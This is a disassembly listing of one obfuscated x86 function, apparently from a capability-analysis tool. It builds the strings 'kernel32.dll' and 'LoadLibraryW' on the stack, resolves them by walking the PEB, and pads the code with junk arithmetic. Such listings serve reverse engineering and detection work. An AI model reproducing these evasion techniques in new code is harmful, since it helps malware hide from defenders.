Function at 0x47cc77
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push esi
add esp, 4
call 0x47c916
add byte [edi], bh
dec ebx
xor bh, byte [ebx]
dec esp
dec edi
add esp, 4
jmp 0x47c91e
add eax, 0x9797
jmp 0x47c92a
pop eax
push edx
push ecx
add esp, 4
jmp 0x47c936
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push esi
add esp, 4
xor ebx, 0x14c1b
or ebx, 0x82c2
sub ebx, 0x16d5d
pop ebx
push eax
xor eax, 0x138fb
pop eax
push ecx
push edx
add esp, 4
add ecx, 0xb1b9
or ecx, 0x16b95
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x47c9a8
mov dword [ebp - 0x2a8], 0
jmp 0x47cc4f
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push edx
add esp, 4
and eax, 0x86f
and eax, 0x66d9
sub eax, 0xc8df
add eax, 0x3acf
pop eax
push edx
add edx, 0x1000b
or edx, 0x2c03
xor edx, 0x9b26
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x47ca04
mov dword [ebp - 0x2a8], 0
jmp 0x47cc4f
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
push edi
add esp, 4
sub edi, 0xc6f7
pop edi
push edi
add edi, 0xbd57
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0x12ee2
sub ecx, 0x26ac
xor ecx, 0xf191
and ecx, 0x9a21
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
xor ebx, 0x166f1
sub ebx, 0x17965
add ebx, 0x10787
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0x585
pop ecx
push edx
push ebx
add esp, 4
add edx, 0xf5d5
xor edx, 0xf40c
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push eax
add esp, 4
and ecx, 0x6d3c
add ecx, 0xd36f
sub ecx, 0x164ba
sub ecx, 0x14d08
pop ecx
push ebx
and ebx, 0x4e7d
pop ebx
push edi
push eax
add esp, 4
or edi, 0x157c4
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x47cb44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x47cb9e
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x47ca6c
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x47ca6c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x47cb88
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x47cb92
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x47cbe7
push eax
xor eax, 0x8288
or eax, 0xa328
and eax, 0xe02
pop eax
push eax
push ecx
add esp, 4
xor eax, 0xe566
sub eax, 0xd391
or eax, 0x853
or eax, 0xbca9
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x47cc4f
push ecx
add ecx, 0x24e7
and ecx, 0x17e2b
xor ecx, 0x148f8
pop ecx
push ebx
push ebx
add esp, 4
add ebx, 0x1753e
sub ebx, 0xdb12
xor ebx, 0x13770
add ebx, 0xf414
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x47cc45
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x47ca10
mov dword [ebp - 0x2a8], 0
push ebx
and ebx, 0xdac7
or ebx, 0x281b
pop ebx
push ecx
xor ecx, 0x13458
and ecx, 0x10f14
call 0x47cc77
add byte [0x474f4748], bh
dec ebx
aaa
add esp, 4
xor ecx, 0x1299e
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x47d586
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
jmp 0x47cd31
and eax, 0xb06f
sub eax, 0xab31
pop eax
push edx
or edx, 0x12c9f
jmp 0x47cd4c
or edx, 0x176c6
sub edx, 0xfbc
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
and edx, 0xf66c
add edx, 0x10df5
xor edx, 0xb00b
pop edx
push esi
push eax
add esp, 4
add esi, 0x15c14
pop esi
push esi
push ebx
add esp, 4
jmp 0x47ce07
xor esi, 0xf9e5
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x47ce26
mov dword [ebp - 0x710], 0
jmp 0x47d0cd
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
push esi
add esp, 4
jmp 0x47ce45
jmp 0x47ce4b
pop eax
push edi
push ebx
add esp, 4
or edi, 0x944e
sub edi, 0xe2b4
pop edi
push ebx
push edx
add esp, 4
jmp 0x47ce69
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x47ce82
mov dword [ebp - 0x710], 0
jmp 0x47d0cd
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx